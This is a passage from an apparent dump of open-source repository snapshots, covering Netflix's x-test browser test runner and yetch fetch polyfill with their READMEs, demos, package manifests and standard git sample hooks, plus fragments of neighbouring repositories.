LitHtmlElement, 'inject', 'initial', 'update');\nawait run(document.getElementById('uhtml'), UhtmlElement, 'inject', 'initial', 'update');\n", "demo\\react\\index.html": "<!doctype html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"../chess/index.js\"></script>\n <script crossorigin src=\"https://unpkg.com/react@18/umd/react.production.min.js\"></script>\n <script crossorigin src=\"https://unpkg.com/react-dom@18/umd/react-dom.production.min.js\"></script>\n </head>\n <body>\n <div id=\"root\"></div>\n <script type=\"module\" src=\"index.js\"></script>\n </body>\n</html>\n", "demo\\react\\index.js": "import ready from '../../etc/ready.js';\n\nclass ChessPiece extends React.Component {\n render() {\n return React.createElement(\n 'div',\n null,\n React.createElement('chess-piece', { rank: this.props.rank }, null),\n React.createElement('chess-piece', { rank: '\\u2655' }, null),\n React.createElement('chess-piece', {}, null)\n );\n }\n}\n\nready(document).then(() => {\n const ranks = ['\\u2655', '\\u2654', '\\u2656', '\\u2657', ''];\n let counter = 0;\n\n const root = document.getElementById('root');\n ReactDOM.render(React.createElement(ChessPiece, { rank: ranks[0] }, null), root);\n\n setInterval(() => {\n const rank = ranks[counter % ranks.length];\n counter += 1;\n ReactDOM.render(React.createElement(ChessPiece, { rank: rank }, null), root);\n }, 1250);\n});\n", "demo\\uhtml\\index.html": "<!doctype html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"./demo-uhtml.js\"></script>\n </head>\n <body>\n <ol>\n <li><demo-uhtml message=\"one\" emoji=\"\ud83d\udd25\"></demo-uhtml></li>\n <li><demo-uhtml message=\"two\" emoji=\"\ud83d\ude3b\"></demo-uhtml></li>\n <li><demo-uhtml message=\"three\" emoji=\"\u270c\ufe0f\"></demo-uhtml></li>\n </ol>\n </body>\n</html>\n", "test\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"index.js\"></script>\n <h3>XElement Tests</h3>\n </body>\n</html>\n", "test\\index.js": "import { test, coverage } from './x-test.js';\n\n// We import this here so we can see code coverage.\nimport '../x-element.js';\n\n// Set a high bar for code coverage!\ncoverage(new URL('../x-element.js', import.meta.url).href, 100);\n\ntest('./test-analysis-errors.html');\ntest('./test-initialization-errors.html');\ntest('./test-attribute-changed-errors.html');\ntest('./test-element-upgrade.html');\ntest('./test-template-engine.html');\ntest('./test-render.html');\ntest('./test-render-root.html');\ntest('./test-basic-properties.html');\ntest('./test-initial-properties.html');\ntest('./test-default-properties.html');\ntest('./test-read-only-properties.html');\ntest('./test-internal-properties.html');\ntest('./test-reflected-properties.html');\ntest('./test-computed-properties.html');\ntest('./test-observed-properties.html');\ntest('./test-listeners.html');\ntest('./test-scratch.html');\n"} | null |
x-test | {"type": "directory", "name": "x-test", "children": [{"type": "file", "name": "bump.sh"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "demo", "children": [{"type": "directory", "name": "debug", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "fail", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}]}, {"type": "file", "name": "index.css"}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}, {"type": "directory", "name": "nest", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}, {"type": "directory", "name": "nested", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}, {"type": "directory", "name": "nested", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}]}]}]}, {"type": "directory", "name": "only", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "pass", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "skip", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "todo", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}]}]}, {"type": "file", "name": "deno.json"}, {"type": "file", "name": "eslint.config.js"}, {"type": "file", "name": "favicon.ico"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package-lock.json"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "PUBLISHING.md"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "server.js"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "test-reporter.html"}, {"type": "file", "name": "test-reporter.js"}, {"type": "file", "name": "test-root.html"}, {"type": "file", "name": "test-root.js"}, {"type": "file", "name": "test-scratch.html"}, {"type": "file", "name": "test-scratch.js"}, {"type": "file", "name": "test-suite.html"}, {"type": "file", "name": "test-suite.js"}, {"type": "file", "name": "test-tap.html"}, {"type": "file", "name": "test-tap.js"}]}, {"type": "file", "name": "test.js"}, {"type": "file", "name": "x-test.js"}]} | # x-test
a simple, tap-compliant test runner for the browser
## Spec
- importable as `type="module"`
- is interoperable with TAP Version 14
- nested sub-tests run in an iframe
- has a recognizable testing interface (`it`, `describe`, `assert`)
- can be used for automated testing
- can be used to assert coverage goals
## Interface
### Testing
The following are exposed in the testing interface:
- `test`: Creates a sub-test in an `iframe` based on given `src` html page.
- `it`: The smallest testing unit — can be asynchronous.
- `it.skip`: An `it` whose callback is not run and which will pass.
- `it.only`: Skip all other `it` tests.
- `it.todo`: An `it` whose callback _is_ run and is expected to fail.
- `describe`: Simple grouping functionality.
- `describe.skip`: Skip all `it` tests in this group.
- `describe.only`: Skip all other `describe` groups and `it` tests.
- `describe.todo`: Mark all `it` tests within this group as _todo_.
- `waitFor`: Ensures test registration remains open until given promise settles.
- `assert`: Simple assertion call that throws if the boolean input is false-y.
- `coverage`: Sets a coverage goal for the given href.
### Events
- `x-test-client-ping`: root responds (`x-test-root-pong`, { status: 'started'|'ended' waiting: true|false })
- `x-test-root-pong`: response to `x-test-client-ping`
- `x-test-root-coverage-request`: client should respond (`x-test-coverage-result`)
- `x-test-client-coverage-result`: response to `x-test-root-coverage-request`
- `x-test-root-end`: all tests have completed or we bailed out
- (internal) `x-test-root-run`: all tests have completed or we bailed out
- (internal) `x-test-suite-coverage`: signal to test for coverage on a particular file
- (internal) `x-test-suite-register`: registers a new test / describe / it
- (internal) `x-test-suite-ready`: signal that test suite is done with registration
- (internal) `x-test-suite-result`: marks end of "it" test
- (internal) `x-test-suite-bail`: signal to quit test early
### Parameters
The following parameters can be passed in via query params on the url:
- `x-test-no-reporter`: turns off custom reporting tool ui
- `x-test-run-coverage`: turns on coverage reporting**
**See `test.js` for an example of how to capture coverage information in
puppeteer and send it to your test to allow your automated test to fail due to
unmet coverage goals.
## Execution
Both `test` and `it` calls will execute _in order_**. `test` calls will boot the
given html page in an iframe. Such iframes are run one-at-a-time. All invoked
`it` calls await the completion of previously-invoked `it` calls.
**This is not the case if you nest `it`--but that's an anti-pattern anyhow.
## Usage with `puppeteer`
See `test.js` for an example of how you can use `puppeteer` to run your app's
tests and log the resulting TAP output to the console.
## Parsing TAP
There are many TAP formatters. Importantly, as long as you can pipe the TAP
output to another program, the output should be interoperable.
| {"package.json": "{\n \"name\": \"@netflix/x-test\",\n \"description\": \"a simple, tap-compliant test runner for the browser\",\n \"version\": \"1.0.1\",\n \"license\": \"Apache-2.0\",\n \"repository\": \"https://github.com/Netflix/x-test\",\n \"type\": \"module\",\n \"main\": \"x-test.js\",\n \"module\": \"x-test.js\",\n \"publishConfig\": {\n \"access\": \"public\",\n \"registry\": \"https://registry.npmjs.org\"\n },\n \"scripts\": {\n \"start\": \"node ./server.js\",\n \"lint\": \"eslint --max-warnings=0 .\",\n \"lint-fix\": \"eslint --fix .\",\n \"test\": \"node test.js | tap-parser -l\",\n \"bump\": \"./bump.sh\"\n },\n \"files\": [\n \"LICENSE\",\n \"/test.js\",\n \"/x-test.js\",\n \"/demo/**\",\n \"/test/**\"\n ],\n \"dependencies\": {},\n \"devDependencies\": {\n \"eslint\": \"^8.56.0\",\n \"puppeteer\": \"^22.0.0\",\n \"tap-parser\": \"^15.3.1\"\n },\n \"contributors\": [\n {\n \"name\": \"Andrew Seier\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Casey Klebba\",\n \"email\": \"[email protected]\"\n }\n ]\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 1d0cf4119bbcc5bc183db3a775e13cc077b479d1 Hamza Amin <[email protected]> 1728221867 +0500\tclone: from https://github.com/Netflix/x-test.git\n", ".git\\refs\\heads\\main": "1d0cf4119bbcc5bc183db3a775e13cc077b479d1\n", "demo\\index.css": "body {\n margin: 0;\n}\n\n#content {\n padding: 8px 12px;\n cursor: default;\n font-size: 1rem;\n font-family: monospace;\n}\n\n#title {\n position: fixed;\n margin: 0;\n top: 25vh;\n left: 50vw;\n transform: translate(-50%, -50%);\n}\n\n#title-link,\n#title-link:visited {\n color: inherit;\n text-decoration: none;\n}\n#title-link:hover {\n text-decoration: underline;\n}\n#title-link:active {\n text-decoration: none;\n}\n\n#tagline,\n#label {\n font-size: 0.8rem;\n}\n\n#label {\n margin-top: 20px;\n margin-bottom: 0;\n}\n\n#list {\n margin-top: 8px;\n padding-inline-start: 30px;\n}\n\nul {\n font-size: 0.7rem;\n}\n\na:any-link,\na:visited {\n color: #047bff;\n}\na:hover {\n color: #ff2c55;\n}\na:active {\n color: #ffcc01;\n}\n", "demo\\index.html": "<!doctype html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>x-test</title>\n <link rel=\"stylesheet\" href=\"index.css\">\n <script type=\"module\" src=\"index.js\"></script>\n </head>\n <body>\n <div id=\"content\">\n <h1 id=\"title\"><a id=\"title-link\" href=\"../x-test.js\">x-test</a></h1>\n <h2 id=\"tagline\">a simple, tap-compliant test runner for the browser</h2>\n <p id=\"label\">Examples</p>\n <ul id=\"list\">\n <li><a href=\"./pass\">demo for passing test</a></li>\n <li><a href=\"./fail\">demo for failing test</a></li>\n <li><a href=\"./skip\">demo for skip</a></li>\n <li><a href=\"./only\">demo for only</a></li>\n <li><a href=\"./todo\">demo for todo</a></li>\n <li><a href=\"./nest\">demo for nesting tests</a></li>\n <li><a href=\"./debug\">demo for debugging in the browser</a></li>\n <li><a href=\"../test\">run actual tests</a></li>\n </ul>\n </div>\n </body>\n</html>\n", "demo\\index.js": "import { it, assert } from '../x-test.js';\n\nit('start testing!', () => {\n assert(true);\n\n // You wouldn't normally do this, we remove our own frame here to make sure\n // that the content rendered on the page actually causes a navigation. This\n // \"test\" is really just a demo.\n setTimeout(() => { frameElement.remove(); });\n});\n", "demo\\debug\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"./index.js\"></script>\n <h3>demo debug</h3>\n </body>\n</html>\n", "demo\\debug\\index.js": "import { it, assert } from '../../x-test.js';\n\nit.todo('debuggable', () => {\n const element = document.createElement('div');\n element.textContent = 'this should be green.';\n element.style.color = 'red';\n document.body.append(element);\n assert(element.style.color === 'green');\n // Because the above assertion will fail, the element will remain in the DOM\n // for debugging in the browser.\n element.remove();\n});\n", "demo\\fail\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"./index.js\"></script>\n <h3>demo failing</h3>\n </body>\n</html>\n", "demo\\fail\\index.js": "import { assert, it } from '../../x-test.js';\n\nit('bad assertion', () => {\n assert(true === false);\n});\n\nit('unexpected error', () => {\n throw new Error('Oops!');\n});\n", "demo\\nest\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"./index.js\"></script>\n <h3>demo nesting</h3>\n </body>\n</html>\n", "demo\\nest\\index.js": "import { test } from '../../x-test.js';\n\ntest('./nested/');\n", "demo\\nest\\nested\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"index.js\"></script>\n <h3>demo nesting, nested</h3>\n </body>\n</html>\n", "demo\\nest\\nested\\index.js": "import { test } from '../../../x-test.js';\n\ntest('./nested/index.html');\n", "demo\\nest\\nested\\nested\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"index.js\"></script>\n <h3>demo nesting, nested (nested)</h3>\n </body>\n</html>\n", "demo\\nest\\nested\\nested\\index.js": "import { assert, it, describe } from '../../../../x-test.js';\n\ndescribe('nest', () => {\n describe('within', () => {\n describe('tests', () => {\n it('nested tests should be found', () => {\n assert(true);\n });\n });\n });\n});\n", "demo\\only\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"./index.js\"></script>\n <h3>demo only</h3>\n </body>\n</html>\n", "demo\\only\\index.js": "import { it, describe, assert } from '../../x-test.js';\n\nit.only('this is run because it is flagged', () => {\n assert(true);\n});\n\nit('this will get skipped because it is not flagged', () => {});\n\ndescribe('all these get skipped because they are not flagged', () => {\n it('foo', () => {});\n it('bar', () => {});\n it('baz', () => {});\n});\n\ndescribe.only('all these are run because they are in a flagged group', () => {\n it('yep, foo', () => { assert(true); });\n it('yep, bar', () => { assert(true); });\n it('yep, baz', () => { assert(true); });\n});\n", "demo\\pass\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"./index.js\"></script>\n <h3>demo passing</h3>\n </body>\n</html>\n", "demo\\pass\\index.js": "import { assert, it } from '../../x-test.js';\n\nit('good assertion', () => {\n assert(true);\n});\n", "demo\\skip\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"./index.js\"></script>\n <h3>demo skip</h3>\n </body>\n</html>\n", "demo\\skip\\index.js": "import { it, describe } from '../../x-test.js';\n\nit.skip('not to self: remember to write this test', () => {});\n\nit.skip('not to self: remember to write this other test', () => {});\n\ndescribe.skip('skip all this stuff for now', () => {\n it('foo', () => {});\n it('bar', () => {});\n it('baz', () => {});\n});\n", "demo\\todo\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"./index.js\"></script>\n <h3>demo todo</h3>\n </body>\n</html>\n", "demo\\todo\\index.js": "import { it, describe } from '../../x-test.js';\n\nit.todo('do the impossible one day', () => {\n throw new Error('cannot do the impossible');\n});\n\nit.todo('move mountains', () => {\n throw new Error('mountain moving is not in your wheelhouse');\n});\n\ndescribe.todo('eventually, do all these things', () => {\n it('go to the moon', () => {\n throw new Error('nope\u2026');\n });\n\n it('go to mars', () => {\n throw new Error('nada\u2026');\n });\n\n it('go outside', () => {\n throw new Error('sigh\u2026');\n });\n});\n", "test\\index.html": "<!doctype html>\n<html>\n <body>\n <meta charset=\"UTF-8\">\n <script type=\"module\" src=\"index.js\"></script>\n <h3>test (all)</h3>\n </body>\n</html>\n", "test\\index.js": "import { test, coverage } from '../x-test.js';\n\ncoverage('../x-test.js', 85);\n\ntest('./test-reporter.html');\ntest('./test-suite.html');\ntest('./test-root.html');\ntest('./test-tap.html');\ntest('./test-scratch.html');\n"} | null |
yetch | {"type": "directory", "name": "yetch", "children": [{"type": "file", "name": ".jshintrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "directory", "name": "examples", "children": [{"type": "file", "name": "index.html"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "MAINTAINING.md"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "polyfill.js"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "script", "children": [{"type": "file", "name": "phantomjs"}, {"type": "file", "name": "saucelabs"}, {"type": "file", "name": "saucelabs-api"}, {"type": "file", "name": "server"}, {"type": "file", "name": "test"}]}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}, {"type": "directory", "name": "internal", "children": [{"type": "file", "name": "Body.js"}, {"type": "file", "name": "DOMException.js"}, {"type": "file", "name": "fetch.js"}, {"type": "file", "name": "Headers.js"}, {"type": "file", "name": "Request.js"}, {"type": "file", "name": "Response.js"}, {"type": "file", "name": "root.js"}, {"type": "file", "name": "support.js"}]}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": ".jshintrc"}, {"type": "file", "name": "cjs.js"}, {"type": "file", "name": "mocha-phantomjs-hooks.js"}, {"type": "file", "name": "test-worker.html"}, {"type": "file", "name": "test.html"}, {"type": "file", "name": "test.js"}, {"type": "file", "name": "worker.js"}]}, {"type": "file", "name": "webpack.config.js"}]} | # Yet-another-fetch polyfill that adds AbortController support.
> NOTE: While generally stable, this project is no longer actively maintained.
>
> We recommend folks switch to [github/fetch](https://github.com/github/fetch), if still needed, which should be generally painless since they both had the same goal and Yetch was originally a fork of that project.
The `fetch()` function is a Promise-based mechanism for programmatically making
web requests in the browser. This project provides a polyfill that implements a subset
of the standard [Fetch specification][], enough to make `fetch` a viable
replacement for most uses of XMLHttpRequest in traditional web applications.
The default CommonJS import path does not assign or polyfill `window.fetch`. Use `import 'yetch/polyfill'` (see [Usage](#usage)).
## Table of Contents
* [Read this first](#read-this-first)
* [Installation](#installation)
* [Usage](#usage)
* [HTML](#html)
* [JSON](#json)
* [Response metadata](#response-metadata)
* [Post form](#post-form)
* [Post JSON](#post-json)
* [File upload](#file-upload)
* [Caveats](#caveats)
* [Handling HTTP error statuses](#handling-http-error-statuses)
* [Sending cookies](#sending-cookies)
* [Receiving cookies](#receiving-cookies)
* [Obtaining the Response URL](#obtaining-the-response-url)
* [Aborting requests](#aborting-requests)
* [Browser Support](#browser-support)
## Read this first
* If you believe you found a bug with how `fetch` behaves in Chrome or Firefox,
please **don't open an issue in this repository**. This project is a
_polyfill_, and since Chrome and Firefox both implement the `window.fetch`
function natively, no code from this project actually takes any effect in
these browsers. See [Browser support](#browser-support) for detailed
information.
* If you have trouble **making a request to another domain** (a different
subdomain or port number also constitutes another domain), please familiarize
yourself with all the intricacies and limitations of [CORS][] requests.
Because CORS requires participation of the server by implementing specific
HTTP response headers, it is often nontrivial to set up or debug. CORS is
exclusively handled by the browser's internal mechanisms which this polyfill
cannot influence.
* If you have trouble **maintaining the user's session** or [CSRF][] protection
through `fetch` requests, please ensure that you've read and understood the
[Sending cookies](#sending-cookies) section. `fetch` doesn't send cookies
unless you ask it to.
* This project **doesn't work under Node.js environments**. It's meant for web
browsers only. You should ensure that your application doesn't try to package
and run this on the server.
* If you have an idea for a new feature of `fetch`, **submit your feature
requests** to the [specification's repository](https://github.com/whatwg/fetch/issues).
We only add features and APIs that are part of the [Fetch specification][].
## Installation
> You will need to have **Promise** polyfilled first (if necessary), before you load yetch. We recommend [taylorhakes/promise-polyfill](https://github.com/taylorhakes/promise-polyfill).
```
npm install yetch --save
# or
yarn add yetch
```
## Usage
> yetch also polyfills AbortController, AbortSignal, and a few other related classes, but it does *not* polyfill Promise
If you'd like yetch to polyfill the global `window.fetch`, you should import the `yetch/polyfill` file; it doesn't export anything, it just polyfills the environment if needed.
```javascript
// ES6+
import 'yetch/polyfill';
// CJS
require('yetch/polyfill');
```
Otherwise, if you'd like to just use yetch _without_ actually polyfilling the global variables, you can import it directly:
```javascript
import { fetch, AbortController } from 'yetch';
const controller = new AbortController();
fetch('/avatars', { signal: controller.signal })
.catch(function(ex) {
if (ex.name === 'AbortError') {
console.log('request aborted')
}
});
// some time later...
controller.abort();
```
For a more comprehensive API reference that this polyfill supports, refer to
https://Netflix.github.io/yetch/.
### HTML
```javascript
fetch('/users.html')
.then(function(response) {
return response.text()
}).then(function(body) {
document.body.innerHTML = body
})
```
### JSON
```javascript
fetch('/users.json')
.then(function(response) {
return response.json()
}).then(function(json) {
console.log('parsed json', json)
}).catch(function(ex) {
console.log('parsing failed', ex)
})
```
### Response metadata
```javascript
fetch('/users.json').then(function(response) {
console.log(response.headers.get('Content-Type'))
console.log(response.headers.get('Date'))
console.log(response.status)
console.log(response.statusText)
})
```
### Post form
```javascript
var form = document.querySelector('form')
fetch('/users', {
method: 'POST',
body: new FormData(form)
})
```
### Post JSON
```javascript
fetch('/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
name: 'Hubot',
login: 'hubot',
})
})
```
### File upload
```javascript
var input = document.querySelector('input[type="file"]')
var data = new FormData()
data.append('file', input.files[0])
data.append('user', 'hubot')
fetch('/avatars', {
method: 'POST',
body: data
})
```
### Caveats
The actual `fetch` specification differs from `jQuery.ajax()` in mainly two ways that
bear keeping in mind:
* The Promise returned from `fetch()` **won't reject on HTTP error status**
even if the response is an HTTP 404 or 500. Instead, it will resolve normally,
and it will only reject on network failure or if anything prevented the
request from completing.
* By default, `fetch` **won't send or receive any cookies** from the server,
resulting in unauthenticated requests if the site relies on maintaining a user
session. See [Sending cookies](#sending-cookies) for how to opt into cookie
handling.
#### Handling HTTP error statuses
To have `fetch` Promise reject on HTTP error statuses, i.e. on any non-2xx
status, define a custom response handler:
```javascript
function checkStatus(response) {
if (response.status >= 200 && response.status < 300) {
return response
} else {
var error = new Error(response.statusText)
error.response = response
throw error
}
}
function parseJSON(response) {
return response.json()
}
fetch('/users')
.then(checkStatus)
.then(parseJSON)
.then(function(data) {
console.log('request succeeded with JSON response', data)
}).catch(function(error) {
console.log('request failed', error)
})
```
#### Sending cookies
To automatically send cookies for the current domain, the `credentials` option
must be provided:
```javascript
fetch('/users', {
credentials: 'same-origin'
})
```
The "same-origin" value makes `fetch` behave similarly to XMLHttpRequest with
regards to cookies. Otherwise, cookies won't get sent, resulting in these
requests not preserving the authentication session.
For [CORS][] requests, use the "include" value to allow sending credentials to
other domains:
```javascript
fetch('https://example.com:1234/users', {
credentials: 'include'
})
```
#### Receiving cookies
As with XMLHttpRequest, the `Set-Cookie` response header returned from the
server is a [forbidden header name][] and therefore can't be programmatically
read with `response.headers.get()`. Instead, it's the browser's responsibility
to handle new cookies being set (if applicable to the current URL). Unless they
are HTTP-only, new cookies will be available through `document.cookie`.
Bear in mind that the default behavior of `fetch` is to ignore the `Set-Cookie`
header completely. To opt into accepting cookies from the server, you must use
the `credentials` option.
#### Obtaining the Response URL
Due to limitations of XMLHttpRequest, the `response.url` value might not be
reliable after HTTP redirects on older browsers.
The solution is to configure the server to set the response HTTP header
`X-Request-URL` to the current URL after any redirect that might have happened.
It should be safe to set it unconditionally.
``` ruby
# Ruby on Rails controller example
response.headers['X-Request-URL'] = request.url
```
This server workaround is necessary if you need reliable `response.url` in
Firefox < 32, Chrome < 37, Safari, or IE.
#### Aborting requests
This polyfill supports
[the abortable fetch API](https://developers.google.com/web/updates/2017/09/abortable-fetch).
However, aborting a fetch requires use of two additional DOM APIs:
[AbortController](https://developer.mozilla.org/en-US/docs/Web/API/AbortController)
and
[AbortSignal](https://developer.mozilla.org/en-US/docs/Web/API/AbortSignal).
Typically, browsers that do not support fetch will also not support
AbortController or AbortSignal. Consequently, you will need to include an
additional polyfill for these APIs to abort fetches.
Once you have an AbortController and AbortSignal polyfill in place, you can
abort a fetch like so:
```js
const controller = new AbortController()
fetch('/avatars', {
signal: controller.signal
}).catch(function(ex) {
if (ex.name === 'AbortError') {
console.log('request aborted')
}
})
// some time later...
controller.abort();
```
## Browser Support
- Chrome
- Firefox
- Safari 6.1+
- Internet Explorer 10+
Note: modern browsers such as Chrome, Firefox, Microsoft Edge, and Safari contain native
implementations of `window.fetch` and the latest versions even support `AbortController`. However, as a relatively new feature some of your users may have a version of these browsers that has support for `window.fetch` but does not have support for `AbortController`. In those cases the polyfilled version of `fetch` will be used _instead_ of the native one. If you believe you've encountered an error with how `window.fetch` is implemented in any of these browsers, you should file an issue with that browser vendor instead of this project.
[fetch specification]: https://fetch.spec.whatwg.org
[open code of conduct]: http://todogroup.org/opencodeofconduct/#fetch/[email protected]
[cors]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS
"Cross-origin resource sharing"
[csrf]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
"Cross-site request forgery"
[forbidden header name]: https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name
## Credit
This project started as a fork of GitHub's [whatwg-fetch](https://github.com/github/fetch), adding support for automatically polyfilling `window.fetch` so that it supports [aborting requests with an AbortController](https://developer.mozilla.org/en-US/docs/Web/API/AbortController/abort). In additional yetch is a CJS module by default and does not replace `window.fetch` with a polyfill unless you `import 'yetch/polyfill'`.
As a fork, a majority of the work was done by GitHub and the community in [whatwg-fetch](https://github.com/github/fetch).
:shipit:
| {"MAINTAINING.md": "# Maintaining\n\n## Releasing a new version\n\nThis project follows [semver](http://semver.org/). So if you are making a bug\nfix, only increment the patch level \"1.0.x\". If any new files are added, a\nminor version \"1.x.x\" bump is in order.\n\n### Make a release commit\n\nTo prepare the release commit:\n\n1. Update the npm [package.json](https://github.com/github/fetch/blob/master/package.json)\n`version` value.\n2. Make a single commit with the description as \"Fetch 2.x.x\".\n3. Finally, tag the commit with `v2.x.x`.\n\n```\n$ git pull\n$ vim package.json\n$ git add package.json\n$ git commit -m \"Fetch 1.x.x\"\n$ git tag v1.x.x\n$ git push\n$ git push --tags\n```\n", "package.json": "{\n \"name\": \"yetch\",\n \"description\": \"Yet-another-fetch polyfill. window.fetch that supports aborting via AbortController\",\n \"version\": \"1.1.1\",\n \"main\": \"src/index.js\",\n \"repository\": \"https://github.com/Netflix/yetch\",\n \"license\": \"MIT\",\n \"devDependencies\": {\n \"abortcontroller-polyfill\": \"^1.1.9\",\n \"chai\": \"1.10.0\",\n \"jshint\": \"2.8.0\",\n \"mocha\": \"2.1.0\",\n \"mocha-phantomjs-core\": \"2.0.1\",\n \"promise-polyfill\": \"6.0.2\",\n \"url-search-params\": \"0.6.1\",\n \"webpack\": \"^4.19.0\",\n \"webpack-cli\": \"^2.1.2\"\n },\n \"files\": [\n \"LICENSE\",\n \"polyfill.js\",\n \"src\",\n \"dist\"\n ],\n \"scripts\": {\n \"build\": \"webpack\",\n \"test\": \"make\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "examples\\index.html": "<!DOCTYPE html>\n<html>\n<head>\n <meta charset=\"utf-8\">\n <script src=\"../dist/yetch-polyfill.js\"></script>\n</head>\n<body>\n <script>\n var result = fetch('https://api.github.com')\n\n result.then(function(response) {\n console.log('response', response)\n console.log('header', response.headers.get('Content-Type'))\n return response.text()\n }).then(function(text) {\n console.log('got text', text)\n }).catch(function(ex) {\n console.log('failed', ex)\n })\n </script>\n</body>\n</html>\n", "src\\index.js": "exports.fetch = require('./internal/fetch').fetch\nexports.Headers = require('./internal/Headers').Headers\nexports.Request = require('./internal/Request').Request\nexports.Response = require('./internal/Response').Response\nexports.AbortController = require('abortcontroller-polyfill/dist/cjs-ponyfill').AbortController\nexports.AbortSignal = require('abortcontroller-polyfill/dist/cjs-ponyfill').AbortSignal\n"} | null |
zeno | {"type": "directory", "name": "zeno", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "codequality", "children": [{"type": "file", "name": "checkstyle.xml"}]}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "examples", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zeno", "children": [{"type": "directory", "name": "examples", "children": [{"type": "directory", "name": "address", "children": [{"type": "file", "name": "Address.java"}, 